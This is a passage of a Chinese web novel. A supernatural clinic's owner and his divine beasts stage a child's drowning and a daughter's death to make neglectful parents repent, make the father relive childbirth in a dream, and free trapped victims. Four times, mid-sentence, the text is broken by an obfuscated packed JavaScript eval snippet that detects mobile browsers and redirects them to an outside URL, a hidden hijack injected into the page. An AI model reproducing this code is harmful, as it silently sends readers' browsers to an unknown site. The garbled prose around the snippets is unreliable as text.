“我下次可不跟主人出来做任务了,都是糟心事。”鲛人打定主意,先前他知道要去海边还很兴奋,许久没在海里浪了,但现在,他终于知道那些跟主人出去做任务的神兽们为什么都不乐意出去了。 “你这心态调整得就不行,反正是假的,又没真的损害他们什么,顶多就是精神上受点刺激,而且我们来了,他儿子才没遇到危险,我们做的可是好事。”应龙看不惯鲛人这种闷闷不乐的样子。 “老虞,我这心里七上八下的,怎么突然下雨了,是不是真的有不好的事……”虞母急得眼眶都红了,她这个做母亲的现在是真悔上了。 “虞飞这个臭小子,看我找到他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688976|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不把他皮剥了,瞎玩也不是这么个瞎玩法啊!”虞父还不肯信有坏事发生,他硬着头皮准备报警,就听到有摊贩冲他喊。 “找到了!找到了!” 他怒气上涌,跑过去,正打算揪着人揍一顿,就看到有个小小的身影躺在沙滩上,了无声息。 “虞飞!!!”他喊得声音都劈了,嘶哑得骇人。 虞母听这声不好,腿一软,摔在了潮湿的沙子上,她浑身无力,往前爬了几步,也看到了躺在沙滩上一动不动的孩子。 “虞飞……虞飞……” 鲛人的分身在那自然是一动都不会动的,可他却别过了头去,他那些年驰骋在海上的时候,总能碰到落水的人,有的人救了会报恩,而有的人救了却报仇,皆因他的鲛人形态被发现了,便带着人来捉他,将他的族人戕害。 更有甚者,胡乱生谣,说就是撞见了鲛人,才会落水,要将他们都灭了。 按理说,他该恨人类的,但他看到这家伤心的人,却恨不起来,如果让他再碰到落水的人,想来,还是会救的。 应龙察觉到鲛人的状态不好,但他现在还有重头戏要演,可不能让戏掉在地上。 他幻化成女孩的模样,踉跄着走到弟弟身边,俯身试图给他做心肺复苏。 “虞飞!虞飞!”她捏住弟弟的鼻子,刚想附下身去就被虞母拉住了。 “虞君,你弟弟他已经……” 那身体都已经冰透了,都僵硬了。 虞母抱着女儿痛哭起来,那泪混着雨水,像是这么都流不尽一样。 虞父也瘫软在沙滩上,他悲嚎起来。 独孤尽就是那个报信的摊贩,他现在冷着脸看着这家人在海边痛哭,尤觉不够,光是这样,他们根本没法意识到是自己监护不利,说不定过不了多久就会把责任摊在姐姐身上。 毕竟,没有人愿意把这么沉重的责任背负在自己身上,正所谓,人已经死了,而活着的人,还要继续活下去。 独孤尽悄悄给应龙使了个眼色,他们必须火上浇油。 应龙接收到主人给的指令,一时间也有点同情这对父母了,但主人的命令不可违,他暗自叹了口气,直接抓住了自己胸口,做出了上气不接下气的样子,很快一张脸就被憋成了紫红色。 “虞君!虞君!你怎么了?!”虞母一下就发现了女儿的异常。 “老虞!快!叫救护车!” 一阵兵荒马乱后,医生宣布了女儿因受了太大的刺激,猝死了。 “怎么会这样……怎么会这样……”虞母瘫坐在急救室外,喃喃自语了几句,也晕了过去。 虞父见状立马又叫了医生,这一晚上,他受到了太大的冲击,也快撑不住了。 可他必须撑住,一夜间丧了两子,后面的事还多着,他一定要撑住。 “差不多了,再让他们过一段时间无儿无女的伤心日子,在悔恨值到达顶峰时,就让他们恢复记忆,回到这个时间点吧。” 再一次见识到了主人的心硬,神兽们纷纷不敢吱声。 80. 失而复得 “老虞。”失去儿女后,虞家夫妻的日子过得暗淡无光,连对工作都没有了兴趣。 原先有儿有女,他们逢人都是夸儿女双全,活得那叫一个开心恣意,且女儿贴心懂事,儿子也不闹腾很乖巧,一家人生活得和和美美,太畅快了。 工作也有奔头,虽然一直偏心儿子,但女儿他们也不是没打算的,这嫁妆也有给她存一份,可现在,不知道老天爷在跟他们开什么玩笑,收走了他们最疼爱的小儿子不说,连已经能赚钱养家的大女儿也一并收走了。 那他们活着还有什么意思,难不成再生一个吗?! “我不想活了。”虞母很直白地吐露心声,这是她最真实的感受。 失去儿女后的每一分每一秒她都在懊恼、忏悔,如果他们愿意看一看女儿发的消息,愿意分一些注意力在两个孩子身上,根本不可能酿成这种祸事。 “不怪你,我们还不是想多挣点钱吗?”虞父虽也有懊悔,却没虞母那么深刻反省自己,他觉得活着的人怎么也要活下去,不能因为已经不在的人而彷徨不前。 “挣再多钱有什么用,人都没了,对,你还可以离婚再娶,你还能生,你去生吧!你赚钱去!”虞母眼神都变了,原本已经没了求生意识,现在却充满了怨愤。 “你在胡说什么!我们过了这么多年,我什么时候有过这种花花肠子?!”虞父觉得虞母愚不可及,这两个孩子都是意外,跟他们有什么关系。 “效果不佳啊,主人,是不是要进行单独治疗了。”鲛人自己都还在伤心,可看到虞父这状态,却气不打一处来。 有些人真的是,事情已经发展到了最坏的程度,也不知道反省一下自己,所有的问题都是外界的,这种人自己倒是舒服了,身边的人就遭殃了。 “先把母亲放回去吧。”独孤尽打算亲自对这个父亲动手,他很久没见到这种顽固型的人了。 你要说他做了什么十恶不赦的事吧,也没有,但众多推动导向之下,却能酿成惨案。 他在等待这两人悔悟的时候,被画剧透了一脸。 原来女孩的拖延症不是最要紧的,毕竟她会有拖延症的根源是因为弟弟,所以才不想动,不想做任何事,但在原本的世界线里,她故意不作为,让大自然把弟弟淘汰后,就感受到了这种不靠一兵一卒就能杀人于无形的快感。 心理上逐渐变得过分,遇到让她不忿之事,就用这招,伪造成天灾,且因为在海边,这种天灾还真好用。 很多人在海里溺亡之后,都寻不到尸体,更别说她故意怂恿人去海上冲浪,玩极限运动,或者出渔船。 此后,这种事越来越多之后,警方接到的失踪案多起来了,调查之后,才成了轰动全国的海边故意谋杀案。 他还记得画里预示的,死亡人数不下几十。 从稚童到耄耋老人,她就像是摒弃了自己的情绪,冷漠地看着大海收人。 “盯着他们三人,别闹出什么。”独孤尽又嘱咐了神兽一句,才沉下心准备好好对付这位父亲。 虞母从精神世界里解脱回到现实时,感受到了一股强烈到足以让她窒息的水压,随后她安然无恙坐在自家客厅里。 那自从姐弟俩离开后再也没亮过的卧室灯,此刻竟然从门缝里透出了昏黄的灯光。 “虞君!虞飞!”她像是被希望召唤,含着泪大喊了一句,朝着房门冲过去用力拧动门把手。 姐弟俩正打算歇下,就被这动静给惊到了,他们自然不知道发生了什么,只是看到母亲行状疯魔地冲进来。 虞君吓了一跳,下意识挡在了弟弟面前,护住了他。 “妈!你要干嘛?!” 虞母见到屋里真的有姐弟二人,泪水瞬间模糊了视线,什么都看不清了,她不断伸手抹着泪,不想错过能见到姐弟二人的机会。 她一定是在做梦。 但孩子们没怪她,一定没怪她,不然肯定不愿意见她。 虞母哭得不能自已,逐渐瘫软下来,就在她即将软在地上时,虞君赶忙上去搀扶了一下。 她虽然今晚跟父母摊牌谈话,但远没到弃父母于不顾的程度。 “妈,你怎么了?这么生我气?”虞君从没见过母亲哭成这样过,哪怕是生活最难的时候,他们遇到了再大的困难,母亲都未曾哭成现在这般。 “我就是不想一直带弟弟,他从出生到现在,像是我的儿子一样,好像我的一切都是他的,就连我的命也是他的。”虞君在见到母亲这般柔软的一面后,也放软了语气,把紧闭的心门打开了一条缝。 “不知道你还记不记得,自从弟弟出生,我想要什么,都没办法有了,所有的全要给弟弟,以前给你们做饭我是心甘情愿,因为你们辛苦,我做做饭也是给家里帮忙,可是弟弟要做辅食,他吃的东西都要另外弄,这些你们也全让我来……” “虽然我理智上不想怨他,但是没办法,他整天在我面前蹦跶,我实在没办法,如果你们不能好好养自己的儿子,那一开始就不该生他。”虞君继续诉说自己的心里话。 但这些心里话现在都无法让虞母难过,她仍旧沉浸在能见到儿女的巨大欣慰中,“都是妈不好,妈不该把弟弟丢给你。” “你也是妈的孩子,妈怎么会完全不疼你,只是看你们姐弟关系好,妈开心又放心,忽略了你也是个孩子。”虞母一边哭一边整理情绪,她不知道这是不是最后一次她能见到姐弟俩的机会了,但最起码,让她在梦里跟姐弟俩道歉,把心结解开。 “妈觉得你都工作了,是个大人了,但妈忘了,弟弟是我生的,他不是你生的,你还单身就做了母亲的活,是妈的不是,妈已经毁得肠子都青了。”虞母是真的懊悔,她眼里全是心疼,这会儿终于止住了泪,只是不住地望着女儿。 她想多看看这个被她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688977|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽略的女儿。 已经有好久都没仔细看她了,居然长得这么漂亮了,是个大姑娘了。 她就该这般鲜活,不该像那晚一样变成冰冷的尸体。 “虞飞,你也过来,给妈看看。”看完了女儿,虞母又朝躲在姐姐身后的虞飞招了招手。 虞飞还有点儿怕挨打,他从姐姐背后偷偷探出了个小脑袋,过了两秒,才彻底走出来。 “妈妈,就算你生气,我也还是要说,姐姐说得没错,我是你们的孩子,虽然我最最最喜欢的是姐姐,但是我同样讨厌姐姐,就是因为她太能干了,你们才一直让她带我,我也想和你们在一起啊,出去玩的时候,我也希望你们能带我去。” 虞飞还没忘了自己要打配合这件事,他的小嘴叭叭说个不停,可越说就越没底,因为他发现妈妈好像不仅没生气,还眼里含着泪在笑。 这画面实在有点儿太恐怖了,超出了他幼小年纪的理解范围。 “好,好,虞飞说得好,你和姐姐都说得好,是我们做父母的没尽到责任,还一直把责任推给你们,但只有一点,妈希望你们知道,妈从来都没坏心思。” “妈爱你们,对你们真的没有坏心思,一丁点儿都没有。”虞母说完闭上眼睛,她的双臂环抱住了两个孩子。 这句话她可没撒谎,作为一个母亲,这两个都是从她身上掉下的肉,怀胎十月,费了老鼻子劲才生了下来,虽然虞飞她没怎么带,但虞君是她一手带大的,孩子爸忙工作,虽对孩子也有关怀,却远没她投入在孩子身上的时间多。 当然,这也不能怪孩子爸,两人分工不同,又受到老一辈的思想影响,潜移默化下就变成了这样的相处方式。 他们竟没一人提出异议,这回女儿能提出异议,是真的长大了。 等等……女儿提出异议,女儿……儿子…… 恢复记忆的虞母终于察觉了有哪儿不对劲,她反复咀嚼消化,又悄摸摸往自己手臂上掐了一下。 疼!!! “虞君!虞飞!你们还活着!!!”虞母这次是真的惊喜了,她也顾不上那么多了,拿衣服又擦了擦眼睛。 那双通红的眼里是两个鲜活的生命,他们正一脸懵,不知道发生了什么。 “妈!你在说什么,我和弟弟当然活着,就是……有件事没和你跟爸说,今天下午的时候……”虞君说到这里时,被弟弟拉住了手,弟弟拼命冲她使眼色,让她不要说。 但有些事,确实因她的恶念而起,发生了的就是发生了。 “因为我没陪弟弟去海边,他差点在海里溺水死了,多亏当时有人撞见,把他救了。” “你说什么?!!!”虞母还没从惊喜里回过神,就又被女儿的话惊得三魂丢了七魄。 “有贵人!是有贵人!”虞母想要冲谁拜拜,却不知道方位,只能四个方位都拜了拜,“谢谢!谢谢!谢谢!” 81. 感受生产之难 “妈!你这是怎么了,他们还活着呢,你这么拜是不是不太好。”虞君看着自己母亲怪异的动作觉得太怪异了。 再者,她没想到自己母亲会这么快转变态度,这跟她想的不一样。 她以为这起码得是个持久战。 “妈妈,那你明天能陪我出去玩吗?!”弟弟似乎一点儿都没受到溺水的影响,还是活力四射。 “好,妈妈明天请一天假,陪你和你姐。”这回,母亲没有落下虞君了,她记得自己的孩子不止这个还没长大的弟弟了。 “妈也要和你们说个事,你们爸可能……”虞母迟疑了一下,还是没把自己的猜测说出口,她刚刚清醒过来的时候没注意虞父,现在她要去看看。 她放缓了脚步,像是窥探什么天机一般,将视线挪到了屋外。 虞父正坐在那保持着一个动作,只有呼吸是正常的,其他都是静止的。 果然,果然有贵人相助。 她猜的没错。 虞母悄悄把房门关上,“妈今晚先来陪你们睡,不理你们那个冥顽不灵的爸。” 这个小房间里其实睡不下三个人,床是上下铺的,姐姐睡在上铺,弟弟睡下铺,因为下铺比较安全,不容易摔下去。 “妈妈今天要跟你挤一张床。”虞母跟弟弟挤了挤眼睛。 虞飞哪里受到过这样的待遇,自打他记事起,他就一直和姐姐住一起,而且也是和姐姐分床睡的,现在要和妈妈睡一起,他还真有点儿不好意思。 “妈妈……我都是大孩子了,睡觉不用人陪。”虞飞挠挠脸颊,有些推拒。 “真的?那妈妈可回去了?”虞母看出儿子的薄脸皮,她眼里含笑装腔作势吓唬了儿子一下。 “别,偶尔一次也可以吧。”虞飞的话转了几个弯,“我看妈妈情绪不好,我想陪陪你。” “乖孩子。” 神兽们见三人谈妥了,也放下心来,学着他们主人的样子,扯了张沙发,就那么侧睡在半空中,既舒服,有事的时候还能及时发觉。 独孤尽单独把虞父的记忆打得更碎,让他想不起自己究竟是何人了。 他轻轻拎了拎虞父的精神体,轻飘飘的,感受不到一点分量。 灵魂太轻的人,做人也会轻飘飘的,难以担负责任。 就让我把你的灵魂加工一下吧。 虞父再次回过神的时候根本不记得自己是男人,他被迫继承了虞母的记忆,当然,这些记忆是独孤尽从虞母那获悉的,塞给虞父的时候多少有些不顺手,可能不太真实,但有一些深刻的记忆必然是不会错的。 那就是……生孩子。 生孩子是女人的难关,而男人终其一生,都无法理解这种感受。 这是男人和女人本质上的差别,虽然现在市面上有很多男人体验女人生产痛楚的项目,但那些都无法真实模拟,只不过用电击来感受些许疼痛。 生产时的难受哪里只那一块儿地方。 独孤尽也不能理解,但他去提取虞母记忆的时候,感受了那么一会儿,总而言之,言而总之,母亲实在伟大。 虞父虽觉得有哪里不太对劲,但自己即将生孩子,也无暇顾及其他,全身心都在这次生产上。 虞母生女儿的时候,因为是头胎没有经验,生的也是痛苦,生儿子的时候虽然是二胎,但因为年龄颇大,也极其危险。 但虞父之前甚至都没停下手头的工作,即便是虞母开始生了,他也把工作做完了才去医院,用他的话说,女人生孩子他又不能帮忙,光呆在医院里有什么用。 等待生产的这些时间里,虞父开始期盼另一半能出现,但当然不可能有第二个虞父出现,独孤尽懒得去扮演,他还得盯着留下来的这些神兽把医院扮得看不出破绽呢。 虞父开始试图打电话,可电话打过去一个又一个,电话那头的人永远不接,要不然接了也是跟他说,要工作完才来。 心思逐渐发生变化的虞父难受得眼眶发湿,很想哭,但又知道自己现在不能哭,要把力气都留在之后生孩子的时候。 真到生的那一刻,虞父感受到了撕肠裂肚的痛,且这种痛楚延续了一天一夜,他浑浑噩噩,不知道自己是怎么活过来的,只知道,孩子出生的时候,他一点儿力气都没了。 独孤尽在一旁看着,觉得可以了,不用让这个男人有恢复的时间,直接无缝衔接养婴儿的这段时间。 刚生产完的女人还要照顾孩子这是一件跟生产相比,同样痛苦的事,没有觉睡,没有自己的时间,没有自己的生活,如果这个时候,另一半还不作为,不能帮衬着,那就很容易产生抑郁情绪。 虞父的灵魂本就没虞母坚韧,虞母当时尚且为母则刚,知道孩子只有她能照顾,撑了下来,可虞父就那么这种强大的心理了,只是半个月,他就已经西斯底里,只要一听到婴儿哭,他就想把孩子摔死,自己再跳楼。 在这么崩坏的精神状态里,独孤尽快进了时间,到了第二胎该生产的时候。 此刻虞父的精神状态已经极差,他虽体验了生娃,但正因为体验了,才知道生娃的痛苦,时隔那么多年,再来一次,他没法承受。 可箭在弦上不得不发,再次被推入待产室,他的灵魂有些麻木,里面有深深的恐惧,但这点恐惧并不足以让他现在就产生轻生的念头。 独孤尽在旁边盯得很紧,他是要让这个男人肩负起自己的责任,而不是要摧毁他,毕竟虞父是无数个男人的缩影,实在没到最不可恕的地步,但也实在可恶。 虞父生第二胎的时候,因为模拟的虞母年纪大的关系,生的比头胎更慢,更折磨,生了半天,到最后生不出来,有危险,竟还要转剖腹产。 吃了两遍痛苦,虞父的灵魂差点就变了回去。 独孤尽嘴角抽了抽,确实,感受这种太痛苦了,可虞母才是那个亲生经历的人,只是让他虚拟着感受一下,他都要受不了了,这还怎么肩负整个家庭。 虞父又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688978|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被独孤尽安定下来,这次生产完,他不仅要照顾孩子,还要休养自己身上的伤口。 这会儿,孩子被塞给了姐姐照顾,虞父对姐姐的感情也产生了变化。 毕竟,比起一个什么都帮不到自己的男人,姐姐就像救世主一样,能干又乖巧。 “差不多了,可以让他醒了。”独孤尽叹了口气,如果这样都无法让这个男人改变观念,那他就只能使用强制手段了。 当男人不是助力的时候,只能劝他们分离,才会获得新生。 虞父醒来时,他的记忆还在融合,他静静坐在客厅里,许久许久,一直到天亮才重新动起来。 “醒了?”虞母昨晚睡得并不好,虽然是跟小儿子一起睡,但两人都不太习惯,睡得翻来覆去。 这一开门,就见到虞父在厨房里忙活,他在虞母的记忆里,也做了无数顿饭,是在姐姐还没长大前做的。 他本就也会做饭,只是做的不太好吃,但经过这次似梦似幻的经历,他的厨艺上涨了,也知道自己虽然在外工作,但不该把所有家里的事都交给妻女。 “给你们摊了鸡蛋饼,简单吃一点,孩子们都醒了吗?”虞父想要装作一切如常,可他的心境发生了极大的变化,实在无法装的若无其事。 “你,是不是做了很奇怪的梦。”虞母试探着问,她能看出虞父的态度转变,以往他是吃饭都要别人端上桌的主,哪里会下厨房给她跟孩子做顿饭。 “对,内容不能告诉你,但往后,我会照顾好你跟孩子。”虞父还是要面子的,他不可能对人说起他那梦里荒唐的经历。 “这些年,你受苦了。” “不苦,苦的是虞君,自从虞飞出生,都是她在照顾家里,现在想想,她连婚都没结,就要照料一大家子,也怪不得她不想结婚。”虞母叹了口气。 女儿不想结婚这点,也跟他们关系很大,他们却一直没意识到,还三番五次逼迫她。 “顺其自然吧,可能遇到了好的人,对的人,她就不会单身一人了。”虞父也想到了女儿在儿子出生后干得那些事了。 她生女儿的时候,被吵得觉都没法睡,女儿那可是连孩子都没生,就要因为他们来感受这种痛苦。 “晚点,我去跟虞君表个态,昨天她要跟我们说的,我们都接受。”虞父把鸡蛋饼盛出来。 刚摊好的鸡蛋饼撒上葱花,香的屋里的姐弟俩也根本睡不着了。 嘴里是喷香的鸡蛋饼,心里是蜜糖一样的滋味,好像重获新生。 “爸、妈,以后还是我带弟弟吧,就是我店里忙的时候,你们也要搭把手照顾弟弟,可别再怪我了。”虞君觉得她的拖延症好像也好了,她那花店,该扩张了。 晨曦照进屋里时,每个人脸上表情各异,但那无疑是冰释前嫌的幸福。 独孤尽冲忙活了一晚的神兽们招招手,“是不是挺馋的,我们也去吃大餐,这海边美食还是挺多的,实在不行,让鲛人给大家找些海鲜来。” 82. “怪奇诊所”即将暴露 春渐满回到画里的时候,独孤尽和部分神兽还没回来,他们正在海滩边吃露营烧烤。 夜晚的海边别有一番味道,海风一吹,鲛人再神不知鬼不觉从海里摸一些海鲜,往火上烤一烤,撒点佐料,鲜香的味道能传十里。 当然,再怎么传也是传不进画里的,否则春渐满高低也要过来蹭口夜宵。 但他没想到的是,独孤尽竟然没管这些被他丢进画里的人,这群家伙直到现在还以为自己在副本里做任务。 这不,一见到他就兴奋起来。 “你可终于出现了,快发布任务!” “稍等,你们任务做到哪了?”春渐满作为一个虚假得不能再虚假的npc,他哪里有权限查看大家“任务”的进度。 “你作为副本的工作人员,没办法直接查看吗?”有人提出质疑,但这种质疑只是一瞬间,大部分人都很乖,提供了任务完成度。 毕竟,比起那些他们听闻的,动不动就要丧命的副本来说,他们这个地方太安全了,就是时间过于漫长,长久都没有进展,不免让人焦虑。 “那也就是所有人都完成了先前的任务,现在我公布排名。”春渐满装腔作势虚拟了排名,像模像样报完后,又公布了一条振奋人心的消息。 “接下来,我们会按照排名先后,送大家回家。” 春渐满的话让一部分精神已经濒临崩溃的受害者兴奋得不能自已,他们又蹦又跳后,才发现哪里不对劲。 这个副本世界是不是有哪里不太对劲,他们好像什么都没做,就要被放出去了。 他们只是提供了一些自己的基本信息,以及进到副本前的情况,这就算完成任务了? 他们好像也没获得什么额外的技能,也没体验一把传说中副本会有的非常理事件。 “怎么?不想出去?”春渐满故作危险地朝他们逼近,“不想出去,我也可以带你们去看看,那些留在这里的都变成了什么样。” 春渐满随意抓了一人,走到了一些长得非常凶悍的神兽边,他微微冲神兽点头,神兽就凶残地东撞西撞,每一招每一式都很狠厉。 把这人重新带回原本的区域,众人纷纷围上来,又是担心又是好奇。 “你看到什么了,怎么满头大汗?!” “太可怕了,那是丧失了人性的野兽,我才不要变成那样,送我回去!送我回去!” 那人显然被吓得不清,但刚才神兽的操作在春渐满眼里反而有点儿笨拙可爱,也许是他给大家进行过教学,所以每位神兽在他这边都是熟面孔,他了解它们的性格,自然不会被吓到。 “先送他回去,你们有意见吗?”春渐满可不想外面事情都结束了,放在这边保护起来的受害者却出问题。 “你先送他回去吧,我们等等按排名也回去了。” 春渐满这段时间跟神兽们相处着,逐渐对自己的精神力掌控也有了一定提升,先前他没法做到像独孤尽那般精准定位位置,带人进出画,可现在,他有八成的把握可以成功。 既然有八成,又不是太危险的事,现在又找不到独孤尽,他自然要试试,多累积些经验。 受害者们压根不知道自己变成了春渐满的小白鼠,还对npc充满了感激。 索性春渐满的领悟能力很高,一开始还有一点偏差,需要受害者自己步行一段路,后来直接就能出现在家门口了,也得亏之前调查知道有些人家门口没安装摄像头,不然谁看了都要吓一跳。 等送完最后一位受害者,春渐满才见到吃得满嘴流油的独孤尽回来。 撞满怀时,还能闻到他身上淡淡的酒味。 “喝了多少?” “一口,就喝了一口啤酒,出去吃了个烧烤,太渴了。”独孤尽解释了一句,他没喝醉,只是脚下软绵,走起来东倒西歪而已。 “你来得太晚了,不然能跟我们一起吃。”独孤尽有点可惜今晚春渐满不在场,他捏住春渐满的下颌,凑近瞧了瞧,“你瘦了。” “没事,我让鲛人带了好多海鲜回来,你跟留在画里的神兽们一起烤着吃。”独孤尽想起来什么,把春渐满推着就往外走。 本着吃香的喝辣的大家都有份,独孤尽让鲛人捞了很多海货。 够这些神兽打牙祭了。 “给你们春老师分一些烤好的。”独孤尽一声令下,刚忙活起来的神兽赶紧把烤好的串拿了过来。 那种恭恭敬敬的样子,还真有几分和谐相处的意思。 “我把那些受害者都放回去了,外面的案件总算处理好了,你这边休息休得怎么样?”春渐满冲神兽们微微点头,露出点笑意。 “还能休息得怎么样,画生怕我休息废了,我刚处理完一个差点酿成的惨案回来,累得够呛。” 独孤尽话是这么说,但春渐满还真没从他身上看出多少疲惫,只能看出他度假的愉悦。 他拿起烤串吃了一口,新鲜的海货怎么烤都鲜美无比,确实容易让人忘了疲惫为何物。 “看来以后每次完成案件,都该大家去吃一顿。”民以食为天真不是瞎说的。 “非常有必要,不过我更希望别再给我案件了,让我躺平吧。”独孤尽许久没躺沙发了,现在在画里,他想扯沙发出来就扯沙发出来,随地大小躺。 “我跟你说,这次的案件还是普遍现象,只不过里面的主人公要拿起屠刀,被画发觉了。”独孤尽一边躺着假寐,一边跟春渐满说起来。 “有无数个家庭都是这样的,虽然能生出恶魔的寥寥无几,但有些恶魔是埋藏在心底深处的,都是不定时炸弹,说不好什么时候受点刺激,就爆发了。”独孤尽叹了口气,他觉得自己不该年纪轻轻就杞人忧天。 “你能不能找点宣传方面有影响力的,无论是通过影视作品的方式也好,游戏的方式也好,让大众看到,潜移默化改变一些观念?” 春渐满就着独孤尽的话思考起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688979|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他记得师父认识一些这方面的人,尤其是报社的,但他走又回去,师父得把他宰了。 “我想想办法。”春渐满还是应了下来。 很多事情,需要很多人共同的努力,经过漫长的时间,才能发生转变,这些都要一步步来,急不得,但也不能耽搁。 “诶,现在不是有那种洗脑短剧吗?植入进去,年纪大的人无聊时候也能刷到,多吓吓他们,总能起到警醒作用。”独孤尽突然想到他最讨厌的手机上的小广告,说不定能起作用。 “人最喜欢从众,自古都是这样,只要从的众是好的,也就好了。”独孤尽已经开始摆烂,与其苛求每个人都能有自己的独立思考,不盲目相信看到的听到的,还不如以毒攻毒,大面积攻破。 “我试试吧……”春渐满跟娱乐圈真不太熟,但他记得,“怪奇诊所”跟娱乐圈应该挺熟,会有娱乐圈的人找“怪奇诊所”处理一些事情。 “你的账号给我用用。”春渐满直接伸手。 “你要用我账号发什么?可不能就这么发,容易被查到地址,你等等。”独孤尽设置了几个防护,才让春渐满操作。 几分钟后,“怪奇诊所”发布了一条寻找代言人的消息,又在网上惹起了轩然大波。 独孤尽看到的时候已经晚了,他有点后悔把账号给春渐满了。 “你这是要把‘怪奇诊所’放在人眼皮子底下晒啊,以后怎么瞒得住。” “现在我们也暴露得够多了,你以为还像最开始一样,大家都对‘怪奇诊所’警惕又害怕吗?”春渐满不知道是不是自己在“怪奇诊所”呆久了的缘故,他现在半点儿不觉得“怪奇诊所”神秘了。 毕竟,这里的主人,时不时脱线,虽然脱线完还总能让人感觉到他灵魂深处的恐怖之处。 春渐满有时候都觉得,人类在独孤尽眼里只是人类,而他好像不是人类,完全没有归属感。 “已经有很多人暗中收集‘怪奇诊所’的情报,且收集的七七八八,大差不差。”春渐满能想到,那些放出去的受害者,估计用不了多久也会发现,他们进的根本不是什么副本,而是“怪奇诊所”。 “起码没人知道谁是‘怪奇诊所’的掌权人。”独孤尽信誓旦旦,对于这点他还是很有信心的。 春渐满立马大拇指指向了自己,“我知道,陆烨修也基本上知道了。” “陆烨修怎么会知道?!” “你真把他当傻子?在他面前表现得那么明显,他又爱钻研术法,还老惹祸,惹多了,就被他家里人抓过去耳提面命,告诉了他一些推测出来的机密。” 春渐满在案件扫尾时,被陆烨修找了几回,都是问他独孤尽在哪的。 在他一再说不清楚,不熟时,对方直接威胁提到了“怪奇诊所”,为了以防万一出纰漏,春渐满没办法,只能又查了查陆烨修,暂且跟他家里达成了共识,让他陆家盯着陆烨修。 可他总觉得会出事…… 83. 九尾狐的张口就来 娱乐圈最近震荡很大,有很多知名艺人背后的大佬都倒台了,又有许多新人爬了上来,当然,最大的骚动是,他们在蠢蠢欲动。 想去当“怪奇诊所”的代言人。 不过“怪奇诊所”居然还需要代言人吗?这种隐藏在黑暗中的秘密组织,居然也有一天想走到明面上来? 不论是几线的艺人,都对“怪奇诊所”发的这条消息很感兴趣,找了自家的经纪人在询问情况。 更有艺人毅然决然大表忠心,公开发布了自己对“怪奇诊所”的态度,并且表示,无论自己是否有档期,只要“怪奇诊所”需要,都可以空出时间来配合“怪奇诊所”。 这样喊话的人并不少,有了第一个,就和那雨后春笋一样,接二连三冒出来了。 “来,你挑挑。”春渐满把自己收藏的几个明星宣言发给独孤尽,“这些在业内都挺德艺双馨的。” “刘封羽?他怎么会想和‘怪奇诊所’扯上关系?”独孤尽扫了两眼,对其他名字他没啥印象,但这个刘封羽可是在“怪奇诊所”接受过一回治疗的。 就算不惧怕“怪奇诊所”,但正常人也不会想再次跟“怪奇诊所”接触吧。 “你认识他?”春渐满把手机拿回来,重新又看了两遍这人发布的动态。 “何止认识,能让我记住就说明他犯了不小的事。”独孤尽拿手指在虚空中点了点,调出了先前的诊疗记录,又用手指点了点春渐满的额头,让他直接看诊疗记录。 他现在可一点儿都不把春渐满当外人了,这种信任是潜移默化的,就连他自己都没发觉。 “竟发生过这种事?!那他后面改好了?”春渐满不敢想象外界传得那么德艺双馨的模范艺人竟然背地里搓磨后辈,还给后辈拉皮条赚中介费,真是什么脏的都干了。 “也不算太大的事吧,画预示的时候是因为有个小演员被他搓磨后自杀了,但我让他在‘怪奇诊所’里治疗了一下,这个危机解除了,他自己也知道小演员没背景有多难了,之后应该是没再干这些事了。” “你也没收着手,治疗还挺凶残的,难道他就喜欢这一套?”春渐满有点不寒而栗,想不明白刘封羽为什么会在网上发那么一条公示。 “兴许是好了伤疤忘了疼,想来探探‘怪奇诊所’的底线?”独孤尽也不明白,他很少碰到这种在“怪奇诊所”治疗过还想跟“怪奇诊所”扯上关系的人。 “去查查他最近都在干什么,跟谁有接触。”独孤尽一点没客气,直接给春渐满安排了任务。 春渐满先是在明面上查了一番,又问了问局里的追星达人,作为资深老粉自然了解到的情况比较多。 两天下来,他已经将刘封羽的消息了解的差不多了,但实在没看出他有什么阴谋。 